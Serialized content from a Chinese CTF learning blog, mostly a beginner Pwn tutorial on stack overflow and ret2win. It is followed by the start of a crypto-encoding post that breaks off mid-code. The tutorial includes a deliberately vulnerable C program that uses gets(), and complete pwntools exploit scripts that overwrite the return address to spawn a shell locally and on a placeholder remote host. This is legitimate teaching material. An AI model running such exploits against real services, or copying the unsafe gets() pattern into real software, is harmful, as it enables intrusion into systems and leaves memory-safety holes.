.sLL85{--shiki-default:#8BE9FD}",{"title":33,"searchDepth":60,"depth":60,"links":2462},[2463,2464,2465,2466,2467,2468,2469,2470],{"id":1180,"depth":71,"text":1181},{"id":25,"depth":71,"text":26},{"id":1277,"depth":71,"text":1278},{"id":1461,"depth":71,"text":1462},{"id":1967,"depth":71,"text":1968},{"id":940,"depth":71,"text":941},{"id":2248,"depth":71,"text":2249},{"id":1129,"depth":71,"text":1130},"完整演示逆向三板斧：file/strings 侦查、objdump 反汇编定位校验函数、GDB 动态调试，并举例一个CrackMe。",{"date":1160,"image":2473,"alt":2474,"tags":2475,"published":132},"/blogs-img/blog1.png","CTF 逆向入门",[1164,2476,1167],"reverse","/blogs/ctf-reverse-overview",{"title":1175,"description":2471},"blogs/10. ctf-reverse-overview","-PAtS7ArHlkJGQ0r9XrzjT8-num-kddi5E7M-GpdxHI",{"id":2482,"title":2483,"body":2484,"description":3345,"extension":1158,"meta":3346,"navigation":132,"ogImage":1161,"path":3349,"seo":3350,"stem":3351,"__hash__":3352},"content/blogs/11. ctf-pwn-overview.md","CTF Pwn 入门：栈布局、checksec 与 pwntools",{"type":7,"value":2485,"toc":3333},[2486,2490,2497,2503,2505,2507,2533,2537,2543,2638,2641,2676,2680,2685,2690,2692,2708,2710,2716,2719,2777,2781,2787,2793,2800,2869,2874,2878,2882,2920,2922,2928,2932,2940,2950,2959,2963,3008,3018,3022,3027,3032,3101,3104,3110,3121,3125,3200,3204,3212,3215,3228,3239,3244,3249,3306,3308,3314,3318,3330],[10,2487,2489],{"id":2488},"一现实背景gets-为什么危险","一、现实背景：gets 为什么危险",[15,2491,2492,2493,2496],{},"C 语言函数 ",[19,2494,2495],{},"gets"," 不检查输入长度。缓冲区只有 32 字节，输入 100 字节时，多出的 68 字节会写进相邻内存，覆盖函数调用信息。现代系统为对抗这类问题启用了防护（栈金丝雀、地址随机化等），Pwn 方向就是研究如何在防护下完成利用。",[15,2498,2499,2500,490],{},"本文只讲一条主线：",[107,2501,2502],{},"栈溢出 → 覆盖返回地址 → 跳转执行目标函数",[10,2504,26],{"id":25},[15,2506,1243],{},[28,2508,2510],{"className":30,"code":2509,"language":32,"meta":33,"style":33},"apt install gcc gdb\npip3 install pwntools\n",[19,2511,2512,2524],{"__ignoreMap":33},[37,2513,2514,2516,2518,2521],{"class":39,"line":40},[37,2515,44],{"class":43},[37,2517,48],{"class":47},[37,2519,2520],{"class":47}," gcc",[37,2522,2523],{"class":47}," gdb\n",[37,2525,2526,2528,2530],{"class":39,"line":60},[37,2527,63],{"class":43},[37,2529,48],{"class":47},[37,2531,2532],{"class":47}," pwntools\n",[10,2534,2536],{"id":2535},"三漏洞程序与编译","三、漏洞程序与编译",[15,2538,2539,2540,1682],{},"保存 ",[19,2541,2542],{},"vuln.c",[28,2544,2546],{"className":1937,"code":2545,"language":1939,"meta":33,"style":33},"#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n\nvoid win() {\n    system(\"/bin/sh\");\n}\n\nvoid vuln() {\n    char buf[32];\n    gets(buf);\n}\n\nint main() {\n    setvbuf(stdout, NULL, _IONBF, 0);\n    puts(\"Hello, what's your name?\");\n    vuln();\n    puts(\"Bye!\");\n    return 0;\n}\n",[19,2547,2548,2553,2558,2562,2567,2572,2577,2581,2586,2591,2596,2600,2604,2609,2614,2619,2624,2629,2634],{"__ignoreMap":33},[37,2549,2550],{"class":39,"line":40},[37,2551,2552],{},"#include \u003Cstdio.h>\n",[37,2554,2555],{"class":39,"line":60},[37,2556,2557],{},"#include \u003Cstdlib.h>\n",[37,2559,2560],{"class":39,"line":71},[37,2561,133],{"emptyLinePlaceholder":132},[37,2563,2564],{"class":39,"line":136},[37,2565,2566],{},"void win() {\n",[37,2568,2569],{"class":39,"line":142},[37,2570,2571],{},"    system(\"/bin/sh\");\n",[37,2573,2574],{"class":39,"line":148},[37,2575,2576],{},"}\n",[37,2578,2579],{"class":39,"line":154},[37,2580,133],{"emptyLinePlaceholder":132},[37,2582,2583],{"class":39,"line":159},[37,2584,2585],{},"void vuln() {\n",[37,2587,2588],{"class":39,"line":165},[37,2589,2590],{},"    char buf[32];\n",[37,2592,2593],{"class":39,"line":171},[37,2594,2595],{},"    gets(buf);\n",[37,2597,2598],{"class":39,"line":177},[37,2599,2576],{},[37,2601,2602],{"class":39,"line":183},[37,2603,133],{"emptyLinePlaceholder":132},[37,2605,2606],{"class":39,"line":189},[37,2607,2608],{},"int main() {\n",[37,2610,2611],{"class":39,"line":195},[37,2612,2613],{},"    setvbuf(stdout, NULL, _IONBF, 0);\n",[37,2615,2616],{"class":39,"line":200},[37,2617,2618],{},"    puts(\"Hello, what's your name?\");\n",[37,2620,2621],{"class":39,"line":206},[37,2622,2623],{},"    vuln();\n",[37,2625,2626],{"class":39,"line":212},[37,2627,2628],{},"    puts(\"Bye!\");\n",[37,2630,2631],{"class":39,"line":218},[37,2632,2633],{},"    return 0;\n",[37,2635,2636],{"class":39,"line":224},[37,2637,2576],{},[15,2639,2640],{},"编译（关闭金丝雀和 PIE，方便入门）：",[28,2642,2644],{"className":30,"code":2643,"language":32,"meta":33,"style":33},"gcc -o vuln vuln.c -fno-stack-protector -no-pie\n# -fno-stack-protector：关闭栈金丝雀（canary），允许我们覆盖返回地址。\n# -no-pie：关闭地址随机化，win 函数地址固定，可以直接写进 payload。\n",[19,2645,2646,2666,2671],{"__ignoreMap":33},[37,2647,2648,2651,2654,2657,2660,2663],{"class":39,"line":40},[37,2649,2650],{"class":43},"gcc",[37,2652,2653],{"class":479}," -o",[37,2655,2656],{"class":47}," vuln",[37,2658,2659],{"class":47}," vuln.c",[37,2661,2662],{"class":479}," -fno-stack-protector",[37,2664,2665],{"class":479}," -no-pie\n",[37,2667,2668],{"class":39,"line":60},[37,2669,2670],{"class":1060},"# -fno-stack-protector：关闭栈金丝雀（canary），允许我们覆盖返回地址。\n",[37,2672,2673],{"class":39,"line":71},[37,2674,2675],{"class":1060},"# -no-pie：关闭地址随机化，win 函数地址固定，可以直接写进 payload。\n",[10,2677,2679],{"id":2678},"四核心步骤-1checksec-看防护","四、核心步骤 1：checksec 看防护",[15,2681,2682,2684],{},[107,2683,109],{},"：开打之前先判断\"这条路能不能走\"，避免盲目构造 payload。",[15,2686,2687,2689],{},[107,2688,336],{},"：三个关键行——没有 canary 才能直接覆盖返回地址；NX 开启意味着不能放 shellcode（本阶段跳过）；No PIE 意味着程序内函数地址可以直接写死。",[15,2691,1295],{},[28,2693,2695],{"className":30,"code":2694,"language":32,"meta":33,"style":33},"pwn checksec ./vuln\n",[19,2696,2697],{"__ignoreMap":33},[37,2698,2699,2702,2705],{"class":39,"line":40},[37,2700,2701],{"class":43},"pwn",[37,2703,2704],{"class":47}," checksec",[37,2706,2707],{"class":47}," ./vuln\n",[15,2709,1310],{},[28,2711,2714],{"className":2712,"code":2713,"language":97,"meta":33},[95],"Arch:     amd64-64-little\nRELRO:    Partial RELRO\nStack:    No canary found\nNX:       NX enabled\nPIE:      No PIE (0x400000)\n",[19,2715,2713],{"__ignoreMap":33},[15,2717,2718],{},"只看三行：",[943,2720,2721,2733],{},[946,2722,2723],{},[949,2724,2725,2728,2730],{},[952,2726,2727],{},"行",[952,2729,1627],{},[952,2731,2732],{},"对我们意味着什么",[962,2734,2735,2748,2761],{},[949,2736,2737,2742,2745],{},[967,2738,2739],{},[19,2740,2741],{},"Stack: No canary found",[967,2743,2744],{},"没有栈金丝雀",[967,2746,2747],{},"可以直接覆盖返回地址",[949,2749,2750,2755,2758],{},[967,2751,2752],{},[19,2753,2754],{},"NX: NX enabled",[967,2756,2757],{},"栈不可执行",[967,2759,2760],{},"不能放 shellcode（本阶段先不管）",[949,2762,2763,2768,2771],{},[967,2764,2765],{},[19,2766,2767],{},"PIE: No PIE",[967,2769,2770],{},"程序地址固定",[967,2772,2773,2776],{},[19,2774,2775],{},"win"," 的地址可以直接写进 payload",[10,2778,2780],{"id":2779},"五核心步骤-2栈布局与偏移","五、核心步骤 2：栈布局与偏移",[15,2782,2783,2786],{},[19,2784,2785],{},"vuln"," 被调用时栈上自低到高：",[28,2788,2791],{"className":2789,"code":2790,"language":97,"meta":33},[95],"┌──────────────────────┐\n│  buf[32]             │ ← 输入从这里写入\n├──────────────────────┤\n│  saved rbp（8 字节）   │\n├──────────────────────┤\n│  返回地址（8 字节）     │ ← 覆盖它\n└──────────────────────┘\n",[19,2792,2790],{"__ignoreMap":33},[15,2794,2795,2796,2799],{},"偏移 = 32 + 8 = 40 字节。用 pwntools 的 ",[19,2797,2798],{},"cyclic"," 验证：",[28,2801,2803],{"className":113,"code":2802,"language":115,"meta":33,"style":33},"from pwn import *\n\np = process('./vuln')\np.sendline(cyclic(200))\n# cyclic(200)：生成 200 字节的\"无重复模式串\"，例如 aaaabaaacaaa...\n# 目的：发送后程序溢出崩溃，崩溃时的地址必然取自模式串的某一段。\np.wait()\n# wait()：等待子进程结束（崩溃），这样 corefile 才可用。\noffset = cyclic_find(p.corefile.fault_addr)\n# p.corefile.fault_addr：程序崩溃时 rip 的值（即被覆盖的返回地址）。\n# cyclic_find(addr)：在模式串里查找该字节片段的位置，返回值就是\"到返回地址的距离\"。\nprint(offset)\n# 预期输出 40：32 字节 buf + 8 字节 saved rbp。\n",[19,2804,2805,2810,2814,2819,2824,2829,2834,2839,2844,2849,2854,2859,2864],{"__ignoreMap":33},[37,2806,2807],{"class":39,"line":40},[37,2808,2809],{},"from pwn import *\n",[37,2811,2812],{"class":39,"line":60},[37,2813,133],{"emptyLinePlaceholder":132},[37,2815,2816],{"class":39,"line":71},[37,2817,2818],{},"p = process('./vuln')\n",[37,2820,2821],{"class":39,"line":136},[37,2822,2823],{},"p.sendline(cyclic(200))\n",[37,2825,2826],{"class":39,"line":142},[37,2827,2828],{},"# cyclic(200)：生成 200 字节的\"无重复模式串\"，例如 aaaabaaacaaa...\n",[37,2830,2831],{"class":39,"line":148},[37,2832,2833],{},"# 目的：发送后程序溢出崩溃，崩溃时的地址必然取自模式串的某一段。\n",[37,2835,2836],{"class":39,"line":154},[37,2837,2838],{},"p.wait()\n",[37,2840,2841],{"class":39,"line":159},[37,2842,2843],{},"# wait()：等待子进程结束（崩溃），这样 corefile 才可用。\n",[37,2845,2846],{"class":39,"line":165},[37,2847,2848],{},"offset = cyclic_find(p.corefile.fault_addr)\n",[37,2850,2851],{"class":39,"line":171},[37,2852,2853],{},"# p.corefile.fault_addr：程序崩溃时 rip 的值（即被覆盖的返回地址）。\n",[37,2855,2856],{"class":39,"line":177},[37,2857,2858],{},"# cyclic_find(addr)：在模式串里查找该字节片段的位置，返回值就是\"到返回地址的距离\"。\n",[37,2860,2861],{"class":39,"line":183},[37,2862,2863],{},"print(offset)\n",[37,2865,2866],{"class":39,"line":189},[37,2867,2868],{},"# 预期输出 40：32 字节 buf + 8 字节 saved rbp。\n",[15,2870,1310,2871,490],{},[19,2872,2873],{},"40",[10,2875,2877],{"id":2876},"六核心步骤-3pwntools-三个核心-api","六、核心步骤 3：pwntools 三个核心 API",[85,2879,2881],{"id":2880},"api-1elf读符号地址","API 1：ELF——读符号地址",[28,2883,2885],{"className":113,"code":2884,"language":115,"meta":33,"style":33},"from pwn import *\n\nelf = ELF('./vuln')\n# ELF('./vuln')：解析 ELF 文件，得到符号、节区等信息的对象。\n# elf.symbols['win']：查 win 函数的虚拟地址（由符号表得到）。\n# hex(...)：转成十六进制字符串显示，方便阅读。\nprint(hex(elf.symbols['win']))\n",[19,2886,2887,2891,2895,2900,2905,2910,2915],{"__ignoreMap":33},[37,2888,2889],{"class":39,"line":40},[37,2890,2809],{},[37,2892,2893],{"class":39,"line":60},[37,2894,133],{"emptyLinePlaceholder":132},[37,2896,2897],{"class":39,"line":71},[37,2898,2899],{},"elf = ELF('./vuln')\n",[37,2901,2902],{"class":39,"line":136},[37,2903,2904],{},"# ELF('./vuln')：解析 ELF 文件，得到符号、节区等信息的对象。\n",[37,2906,2907],{"class":39,"line":142},[37,2908,2909],{},"# elf.symbols['win']：查 win 函数的虚拟地址（由符号表得到）。\n",[37,2911,2912],{"class":39,"line":148},[37,2913,2914],{},"# hex(...)：转成十六进制字符串显示，方便阅读。\n",[37,2916,2917],{"class":39,"line":154},[37,2918,2919],{},"print(hex(elf.symbols['win']))\n",[15,2921,1310],{},[28,2923,2926],{"className":2924,"code":2925,"language":97,"meta":33},[95],"0x401176\n",[19,2927,2925],{"__ignoreMap":33},[85,2929,2931],{"id":2930},"api-2process启动程序","API 2：process——启动程序",[28,2933,2934],{"className":113,"code":2818,"language":115,"meta":33,"style":33},[19,2935,2936],{"__ignoreMap":33},[37,2937,2938],{"class":39,"line":40},[37,2939,2818],{},[15,2941,2942,2943,991,2946,2949],{},"启动本地进程，之后用 ",[19,2944,2945],{},"p.sendline()",[19,2947,2948],{},"p.recvuntil()"," 交互。远程题目改成：",[28,2951,2953],{"className":113,"code":2952,"language":115,"meta":33,"style":33},"p = remote('1.2.3.4', 10001)\n",[19,2954,2955],{"__ignoreMap":33},[37,2956,2957],{"class":39,"line":40},[37,2958,2952],{},[85,2960,2962],{"id":2961},"api-3p64-sendline构造并发送-payload","API 3：p64 + sendline——构造并发送 payload",[28,2964,2966],{"className":113,"code":2965,"language":115,"meta":33,"style":33},"payload = b'A' * 40 + p64(0x401176)\n# b'A' * 40：40 个字节的填充，正好填满 buf[32] 与 saved rbp[8]。\n# p64(0x401176)：把 64 位整数 0x401176 打包成 8 字节小端字节串\n# （低字节在前：76 11 40 00 00 00 00 00），作为新的返回地址。\n# 两段拼接后，gets 会把这 48 字节全部写入栈，\n# 前 40 字节覆盖缓冲区与 rbp，最后 8 字节正好覆盖返回地址。\np.sendline(payload)\n# sendline()：发送 payload 并自动补一个换行（gets 以换行结束输入）。\n",[19,2967,2968,2973,2978,2983,2988,2993,2998,3003],{"__ignoreMap":33},[37,2969,2970],{"class":39,"line":40},[37,2971,2972],{},"payload = b'A' * 40 + p64(0x401176)\n",[37,2974,2975],{"class":39,"line":60},[37,2976,2977],{},"# b'A' * 40：40 个字节的填充，正好填满 buf[32] 与 saved rbp[8]。\n",[37,2979,2980],{"class":39,"line":71},[37,2981,2982],{},"# p64(0x401176)：把 64 位整数 0x401176 打包成 8 字节小端字节串\n",[37,2984,2985],{"class":39,"line":136},[37,2986,2987],{},"# （低字节在前：76 11 40 00 00 00 00 00），作为新的返回地址。\n",[37,2989,2990],{"class":39,"line":142},[37,2991,2992],{},"# 两段拼接后，gets 会把这 48 字节全部写入栈，\n",[37,2994,2995],{"class":39,"line":148},[37,2996,2997],{},"# 前 40 字节覆盖缓冲区与 rbp，最后 8 字节正好覆盖返回地址。\n",[37,2999,3000],{"class":39,"line":154},[37,3001,3002],{},"p.sendline(payload)\n",[37,3004,3005],{"class":39,"line":159},[37,3006,3007],{},"# sendline()：发送 payload 并自动补一个换行（gets 以换行结束输入）。\n",[15,3009,3010,3013,3014,3017],{},[19,3011,3012],{},"p64"," 把 64 位整数转成 8 字节小端字节串；40 个 ",[19,3015,3016],{},"A"," 填满缓冲区与 saved rbp，后面 8 字节正好落在返回地址上。",[10,3019,3021],{"id":3020},"七完整-ret2win-脚本","七、完整 ret2win 脚本",[15,3023,3024,3026],{},[107,3025,109],{},"：把前三步串成完整 exploit。",[15,3028,3029,3031],{},[107,3030,336],{},"：等程序打印提示 → 发送\"填充 + win 地址\" → 程序 ret 跳到 win → 弹出 shell → 交互。",[28,3033,3035],{"className":113,"code":3034,"language":115,"meta":33,"style":33},"from pwn import *\n\nelf = ELF('./vuln')\np = process('./vuln')\n\np.recvuntil(b'name?')\n# recvuntil()：一直读取直到收到指定字节串，保证程序已走到 gets 之前。\n# 参数 b'name?'：匹配提示文字 \"name?\"，避免过早发送导致输入丢失。\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\n# 触发溢出：覆盖返回地址为 win。\np.interactive()\n# interactive()：把当前进程的输入输出接到我们的终端，\n# 之后就可以像正常 shell 一样输入命令（id、cat flag 等）。\n",[19,3036,3037,3041,3045,3049,3053,3057,3062,3067,3072,3077,3081,3086,3091,3096],{"__ignoreMap":33},[37,3038,3039],{"class":39,"line":40},[37,3040,2809],{},[37,3042,3043],{"class":39,"line":60},[37,3044,133],{"emptyLinePlaceholder":132},[37,3046,3047],{"class":39,"line":71},[37,3048,2899],{},[37,3050,3051],{"class":39,"line":136},[37,3052,2818],{},[37,3054,3055],{"class":39,"line":142},[37,3056,133],{"emptyLinePlaceholder":132},[37,3058,3059],{"class":39,"line":148},[37,3060,3061],{},"p.recvuntil(b'name?')\n",[37,3063,3064],{"class":39,"line":154},[37,3065,3066],{},"# recvuntil()：一直读取直到收到指定字节串，保证程序已走到 gets 之前。\n",[37,3068,3069],{"class":39,"line":159},[37,3070,3071],{},"# 参数 b'name?'：匹配提示文字 \"name?\"，避免过早发送导致输入丢失。\n",[37,3073,3074],{"class":39,"line":165},[37,3075,3076],{},"payload = b'A' * 40 + p64(elf.symbols['win'])\n",[37,3078,3079],{"class":39,"line":171},[37,3080,3002],{},[37,3082,3083],{"class":39,"line":177},[37,3084,3085],{},"# 触发溢出：覆盖返回地址为 win。\n",[37,3087,3088],{"class":39,"line":183},[37,3089,3090],{},"p.interactive()\n",[37,3092,3093],{"class":39,"line":189},[37,3094,3095],{},"# interactive()：把当前进程的输入输出接到我们的终端，\n",[37,3097,3098],{"class":39,"line":195},[37,3099,3100],{},"# 之后就可以像正常 shell 一样输入命令（id、cat flag 等）。\n",[15,3102,3103],{},"预期结果：",[28,3105,3108],{"className":3106,"code":3107,"language":97,"meta":33},[95],"[*] Switching to interactive mode\n$ id\nuid=1000(ctf) gid=1000(ctf)\n",[19,3109,3107],{"__ignoreMap":33},[15,3111,3112,3113,3116,3117,3120],{},"程序跳到了 ",[19,3114,3115],{},"win()","，执行 ",[19,3118,3119],{},"system(\"/bin/sh\")","，我们拿到了 shell。",[10,3122,3124],{"id":3123},"八必学工具","八、必学工具",[943,3126,3127,3139],{},[946,3128,3129],{},[949,3130,3131,3133,3136],{},[952,3132,954],{},[952,3134,3135],{},"3 个核心功能",[952,3137,3138],{},"示例",[962,3140,3141,3168,3181],{},[949,3142,3143,3146,3165],{},[967,3144,3145],{},"pwntools",[967,3147,3148,3151,3152,1139,3154,3157,3158,3160,3161,3164],{},[19,3149,3150],{},"ELF()"," 读符号、",[19,3153,2798],{},[19,3155,3156],{},"cyclic_find"," 找偏移、",[19,3159,3012],{},"+",[19,3162,3163],{},"sendline"," 构造发送",[967,3166,3167],{},"见上文",[949,3169,3170,3173,3176],{},[967,3171,3172],{},"checksec",[967,3174,3175],{},"查看栈保护、NX、PIE",[967,3177,3178],{},[19,3179,3180],{},"pwn checksec ./vuln",[949,3182,3183,3186,3189],{},[967,3184,3185],{},"GDB（+pwndbg）",[967,3187,3188],{},"断点、看栈、单步",[967,3190,3191,991,3194,991,3197],{},[19,3192,3193],{},"break vuln",[19,3195,3196],{},"x/20gx $rsp",[19,3198,3199],{},"continue",[10,3201,3203],{"id":3202},"九小-ctf-实战远程-ret2win","九、小 CTF 实战：远程 ret2win",[15,3205,1039,3206,3209,3210,490],{},[19,3207,3208],{},"nc 1.2.3.4 10001","，运行的就是上面的 ",[19,3211,2785],{},[15,3213,3214],{},"第一步，本地验证：",[28,3216,3218],{"className":30,"code":3217,"language":32,"meta":33,"style":33},"python3 exploit.py\n",[19,3219,3220],{"__ignoreMap":33},[37,3221,3222,3225],{"class":39,"line":40},[37,3223,3224],{"class":43},"python3",[37,3226,3227],{"class":47}," exploit.py\n",[15,3229,3230,3231,3234,3235,3238],{},"第二步，把 ",[19,3232,3233],{},"process('./vuln')"," 改成 ",[19,3236,3237],{},"remote('1.2.3.4', 10001)"," 再跑：",[15,3240,3241,3243],{},[107,3242,109],{},"：本地打通后打远程。本地与远程的区别只有一行：连接方式。",[15,3245,3246,3248],{},[107,3247,1769],{},"：远程返回同样提示并弹出 shell 即成功；如果远程崩溃或没有反应，先用 checksec 确认远程程序的防护与本地一致。",[28,3250,3252],{"className":113,"code":3251,"language":115,"meta":33,"style":33},"from pwn import *\n\nelf = ELF('./vuln')\np = remote('1.2.3.4', 10001)\n# remote(host, port)：建立 TCP 连接，host 是题目 IP，port 是题目端口。\n# 之后 sendline/recvuntil/interactive 的用法与本地 process 完全一样。\n\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\np.sendline(b'cat flag')\n# 进入 shell 后执行 cat flag，读取当前目录下的 flag 文件。\np.interactive()\n",[19,3253,3254,3258,3262,3266,3270,3275,3280,3284,3288,3292,3297,3302],{"__ignoreMap":33},[37,3255,3256],{"class":39,"line":40},[37,3257,2809],{},[37,3259,3260],{"class":39,"line":60},[37,3261,133],{"emptyLinePlaceholder":132},[37,3263,3264],{"class":39,"line":71},[37,3265,2899],{},[37,3267,3268],{"class":39,"line":136},[37,3269,2952],{},[37,3271,3272],{"class":39,"line":142},[37,3273,3274],{},"# remote(host, port)：建立 TCP 连接，host 是题目 IP，port 是题目端口。\n",[37,3276,3277],{"class":39,"line":148},[37,3278,3279],{},"# 之后 sendline/recvuntil/interactive 的用法与本地 process 完全一样。\n",[37,3281,3282],{"class":39,"line":154},[37,3283,133],{"emptyLinePlaceholder":132},[37,3285,3286],{"class":39,"line":159},[37,3287,3076],{},[37,3289,3290],{"class":39,"line":165},[37,3291,3002],{},[37,3293,3294],{"class":39,"line":171},[37,3295,3296],{},"p.sendline(b'cat flag')\n",[37,3298,3299],{"class":39,"line":177},[37,3300,3301],{},"# 进入 shell 后执行 cat flag，读取当前目录下的 flag 文件。\n",[37,3303,3304],{"class":39,"line":183},[37,3305,3090],{},[15,3307,1310],{},[28,3309,3312],{"className":3310,"code":3311,"language":97,"meta":33},[95],"flag{ret2win}\n",[19,3313,3311],{"__ignoreMap":33},[10,3315,3317],{"id":3316},"十小结","十、小结",[15,3319,3320,3321,3323,3324,3326,3327,3329],{},"Pwn 入门主线：",[19,3322,3172],{}," 判断能不能直接打 → ",[19,3325,2798],{}," 确定偏移 → ",[19,3328,3012],{}," 构造 payload 覆盖返回地址。下一级进阶（NX + ASLR）时，目标从\"程序内的 win\"换成\"libc 里的 system\"，思路不变，详见《栈溢出与 ROP 深入实战》。",[1144,3331,3332],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}",{"title":33,"searchDepth":60,"depth":60,"links":3334},[3335,3336,3337,3338,3339,3340,3341,3342,3343,3344],{"id":2488,"depth":71,"text":2489},{"id":25,"depth":71,"text":26},{"id":2535,"depth":71,"text":2536},{"id":2678,"depth":71,"text":2679},{"id":2779,"depth":71,"text":2780},{"id":2876,"depth":71,"text":2877},{"id":3020,"depth":71,"text":3021},{"id":3123,"depth":71,"text":3124},{"id":3202,"depth":71,"text":3203},{"id":3316,"depth":71,"text":3317},"完整演示 Pwn 第一条,包括漏洞代码编译、checksec 防护解读、cyclic 找偏移，到用 pwntools 三个核心 API 完成 ret2win。",{"date":1160,"image":1161,"alt":3347,"tags":3348,"published":132},"CTF Pwn 入门",[1164,2701,1167],"/blogs/ctf-pwn-overview",{"title":2483,"description":3345},"blogs/11. ctf-pwn-overview","meu72Rt9gwp_tpGxBY4J74XxZjAVK6BU7R5ezX4BNvk",{"id":3354,"title":3355,"body":3356,"description":4343,"extension":1158,"meta":4344,"navigation":132,"ogImage":4345,"path":4349,"seo":4350,"stem":4351,"__hash__":4352},"content/blogs/12. ctf-crypto-overview.md","CTF 密码学入门：编码、XOR 与 DH 密钥协商",{"type":7,"value":3357,"toc":4333},[3358,3362,3365,3433,3436,3522,3524,3530,3533,3557,3559,3565,3567,3587,3597,3601,3612,3616,3621,3665,3667,3673,3677,3682,3695,3768,3770,3776,3782,3786,3792,3823,3827,3830,3894,3896,3902,3906,3910,3913,3917,3922,3927,3968,3972,4094,4096,4102,4112,4114,4118,4121,4159,4163,4192,4196,4199,4228,4230,4236,4240,4243,4248,4251,4259,4318,4320,4325,4327,4330],[10,3359,3361],{"id":3360},"一现实背景编码每天都在用","一、现实背景：编码每天都在用",[15,3363,3364],{},"编码（Encoding）不依赖密钥，任何掌握规则的人都能还原；加密（Encryption）依赖密钥。日常网络中的编码：",[943,3366,3367,3380],{},[946,3368,3369],{},[949,3370,3371,3374,3377],{},[952,3372,3373],{},"编码",[952,3375,3376],{},"现实应用",[952,3378,3379],{},"例子",[962,3381,3382,3399,3418],{},[949,3383,3384,3387,3390],{},[967,3385,3386],{},"Base64",[967,3388,3389],{},"邮件附件（MIME）、JWT 令牌、Data URI",[967,3391,3392,3395,3396],{},[19,3393,3394],{},"ZmxhZw=="," → ",[19,3397,3398],{},"flag",[949,3400,3401,3404,3411],{},[967,3402,3403],{},"Hex",[967,3405,3406,3407,3410],{},"颜色值 ",[19,3408,3409],{},"#FF0000","、MAC 地址、哈希摘要",[967,3412,3413,3395,3416],{},[19,3414,3415],{},"666c6167",[19,3417,3398],{},[949,3419,3420,3423,3426],{},[967,3421,3422],{},"URL 编码",[967,3424,3425],{},"浏览器地址栏中的中文与特殊字符",[967,3427,3428,3395,3431],{},[19,3429,3430],{},"%66%6c%61%67",[19,3432,3398],{},[15,3434,3435],{},"先运行最小的解码例子：",[28,3437,3439],{"className":113,"code":3438,"language":115,"meta":33,"style":33},"import base64\n# base64 模块：标准库，提供 base64 编码解码函数。\n\nprint(base64.b64encode(b\"flag\"))\n# b64encode(data)：把字节串编码成 base64，参数是待编码的 bytes，\n# 返回值是编码结果 bytes：b'ZmxhZw=='。\n\nprint(base64.b64decode(\"ZmxhZw==\"))\n# b64decode(s)：把 base64 字符串解码回原始字节，参数可以是 str 或 bytes，\n# 返回值 b'flag'。这一步用于解开题目给的 base64 密文。\n\nprint(bytes.fromhex(\"666c6167\"))\n# bytes.fromhex(hex_str)：把十六进制字符串逐对转成字节，\n# 参数 \"666c6167\" 对应 b'flag'。用于解开题目给的 hex 密文。\n\nprint(b\"flag\".hex())\n# bytes.hex()：反过来，把字节转成十六进制字符串 \"666c6167\"。\n",[19,3440,3441,3446,3451,3455,3460,3465,3470,3474,3479,3484,3489,3493,3498,3503,3508,3512,3517],{"__ignoreMap":33},[37,3442,3443],{"class":39,"line":40},[37,3444,3445],{},"import base64\n",[37,3447,3448],{"class":39,"line":60},[37,3449,3450],{},"# base64 模块：标准库，提供 base64 编码解码函数。\n",[37,3452,3453],{"class":39,"line":71},[37,3454,133],{"emptyLinePlaceholder":132},[37,3456,3457],{"class":39,"line":136},[37,3458,3459],{},"print(base64.b64encode(b\"flag\"))\n",[37,3461,3462],{"class":39,"line":142},[37,3463,3464],{},"# b64encode(data)：把字节串编码成 base64，参数是待编码的 bytes，\n",[37,3466,3467],{"class":39,"line":148},[37,3468,3469],{},"# 返回值是编码结果 bytes：b'ZmxhZw=='。\n",[37,3471,3472],{"class":39,"line":154},[37,3473,133],{"emptyLinePlaceholder":132},[37,3475,3476],{"class":39,"line":159},[37,3477,3478],{},"print(base64.b64decode(\"ZmxhZw==\"))\n",[37,3480,3481],{"class":39,"line":165},[37,3482,3483],{},"# b64decode(s)：把 base64 字符串解码回原始字节，参数可以是 str 或 bytes，\n",[37,3485,3486],{"class":39,"line":171},[37,3487,3488],{},"# 返回值 b'flag'。这一步用于解开题目给的 base64 密文。\n",[37,3490,3491],{"class":39,"line":177},[37,3492,133],{"emptyLinePlaceholder":132},[37,3494,3495],{"class":39,"line":183},[37,3496,3497],{},"print(bytes.fromhex(\"666c6167\"))\n",[37,3499,3500],{"class":39,"line":189},[37,3501,3502],{},"# bytes.fromhex(hex_str)：把十六进制字符串逐对转成字节，\n",[37,3504,3505],{"class":39,"line":195},[37,3506,3507],{},"# 参数 \"666c6167\" 对应 b'flag'。用于解开题目给的 hex 密文。\n",[37,3509,3510],{"class":39,"line":200},[37,3511,133],{"emptyLinePlaceholder":132},[37,3513,3514],{"class":39,"line":206},[37,3515,3516],{},"print(b\"flag\".hex())\n",[37,3518,3519],{"class":39,"line":212},[37,3520,3521],{},"# bytes.hex()：反过来，把字节转成十六进制字符串 \"666c6167\"。\n",[15,3523,456],{},[28,3525,3528],{"className":3526,"code":3527,"language":97,"meta":33},[95],"b'ZmxhZw=='\nb'flag'\nb'flag'\n666c6167\n",[19,3529,3527],{"__ignoreMap":33},[15,3531,3532],{},"URL 编码：",[28,3534,3536],{"className":113,"code":3535,"language":115,"meta":33,"style":33},"from urllib.parse import quote, unquote\n\nprint(quote(\"你好\"))                    # %E4%BD%A0%E5%A5%BD\nprint(unquote(\"%66%6c%61%67\"))          # flag\n",[19,3537,3538,3543,3547,3552],{"__ignoreMap":33},[37,3539,3540],{"class":39,"line":40},[37,3541,3542],{},"from urllib.parse import quote, unquote\n",[37,3544,3545],{"class":39,"line":60},[37,3546,133],{"emptyLinePlaceholder":132},[37,3548,3549],{"class":39,"line":71},[37,3550,3551],{},"print(quote(\"你好\"))                    # %E4%BD%A0%E5%A5%BD\n",[37,3553,3554],{"class":39,"line":136},[37,3555,3556],{},"print(unquote(\"%66%6c%61%67\"))          # 